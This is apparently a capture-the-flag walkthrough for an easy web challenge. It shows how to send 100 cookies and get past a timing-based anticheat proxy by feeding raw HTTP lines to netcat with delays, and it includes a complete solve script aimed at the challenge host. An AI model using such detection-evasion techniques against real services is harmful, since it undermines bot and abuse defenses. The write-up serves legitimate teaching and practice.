Level 17 - 100 Cookies Challenge
Level 17 - 100 Cookies Challenge
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: anticheat_evasion, cookie_header_manipulation, raw_http_crafting
Summary
Walkthrough of the CUSTOM Web Level 17 - 100 Cookies Challenge. Task: Web challenge with anticheat proxy blocking automated tools, requiring 100 cookies in raw HTTP format. Solution: Bypass anticheat by sending HTTP request lines one at a time with delays using ne
Description
A web challenge requiring understanding of raw HTTP protocol and cookie transmission. The task is protected by an anticheat proxy that blocks automated tools, requiring manual HTTP request crafting.
Analysis
- Anticheat Proxy: Direct access returns 403 Forbidden, redirecting to port 58080. The proxy detects automated tools (curl, wget) by checking if the entire HTTP request is sent at once.
- Cookie Requirement: The server requires at least 100 different cookies to be sent in a single request.
- Raw HTTP Knowledge: Understanding that cookies are sent as semicolon-separated
name=valuepairs in a singleCookie:header line.
Key observations:
- Server:
nginx/1.18.0 (Ubuntu) - PHP version:
5.5.9-1ubuntu4.21 - Trailing slash required on URL path (otherwise 301 redirect)
Solution
Step 1: Bypass Anticheat Proxy
The anticheat proxy requires sending HTTP request lines one at a time with delays between them. This proves the request is being crafted manually, not by automated tools.
bash read-only • copy allowed# Test basic access through anticheat (echo -ne "GET /second/level17/ HTTP/1.1\r\n"; sleep 0.5; \ echo -ne "Host: kslweb1.spb.ctf.su\r\n"; sleep 0.5; \ echo -ne "Connection: close\r\n"; sleep 0.5; \ echo -ne "\r\n") | nc kslweb1.spb.ctf.su 58080
Response reveals the actual challenge:
Nope, you should send a request with at least 100 different cookies
Current number of cookies: 0
Step 2: Generate 100 Cookies
Build a cookie string with 100 unique cookies in raw HTTP format:
bash read-only • copy allowed# Generate 100 cookies COOKIES="" for i in $(seq 1 100); do if [ $i -eq 1 ]; then COOKIES="cookie${i}=value${i}" else COOKIES="${COOKIES}; cookie${i}=value${i}" fi done
Step 3: Send Request with Cookies
Send the complete request with all 100 cookies through the anticheat proxy:
bash read-only • copy allowed(echo -ne "GET /second/level17/ HTTP/1.1\r\n"; sleep 0.5; \ echo -ne "Host: kslweb1.spb.ctf.su\r\n"; sleep 0.5; \ echo -ne "Cookie: ${COOKIES}\r\n"; sleep 0.5; \ echo -ne "Connection: close\r\n"; sleep 0.5; \ echo -ne "\r\n") | nc kslweb1.spb.ctf.su 58080
Complete Solve Script
bash read-only • copy allowed#!/bin/bash # Solve script for kslweb1 level17 HOST="kslweb1.spb.ctf.su" PORT=58080 PATH_URL="/second/level17/" # Generate 100 cookies COOKIES="" for i in $(seq 1 100); do if [ $i -eq 1 ]; then COOKIES="cookie${i}=value${i}" else COOKIES="${COOKIES}; cookie${i}=value${i}" fi done # Send request line-by-line to bypass anticheat ( echo -ne "GET ${PATH_URL} HTTP/1.1\r\n" sleep 0.5 echo -ne "Host: ${HOST}\r\n" sleep 0.5 echo -ne "Cookie: ${COOKIES}\r\n" sleep 0.5 echo -ne "Connection: close\r\n" sleep 0.5 echo -ne "\r\n" ) | nc ${HOST} ${PORT}
Lessons Learned
- Raw HTTP Cookie Format: Multiple cookies are sent in a single
Cookie:header, separated by;(semicolon + space) - Anticheat Bypass: Some CTF platforms use timing-based anticheat that detects if requests are sent all at once (automated) vs line-by-line (manual)
- Netcat for HTTP: When curl/wget are blocked, netcat allows full control over HTTP request timing and formatting
- URL Trailing Slash: Some servers require trailing slashes; without them, you get 301 redirects that may break the flow
Key Takeaways / Lessons
- Mastering anticheat_evasion, cookie_header_manipulation, raw_http_crafting was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-03-08 • CUSTOM • Level 17 - 100 Cookies Challenge • Difficulty: Easy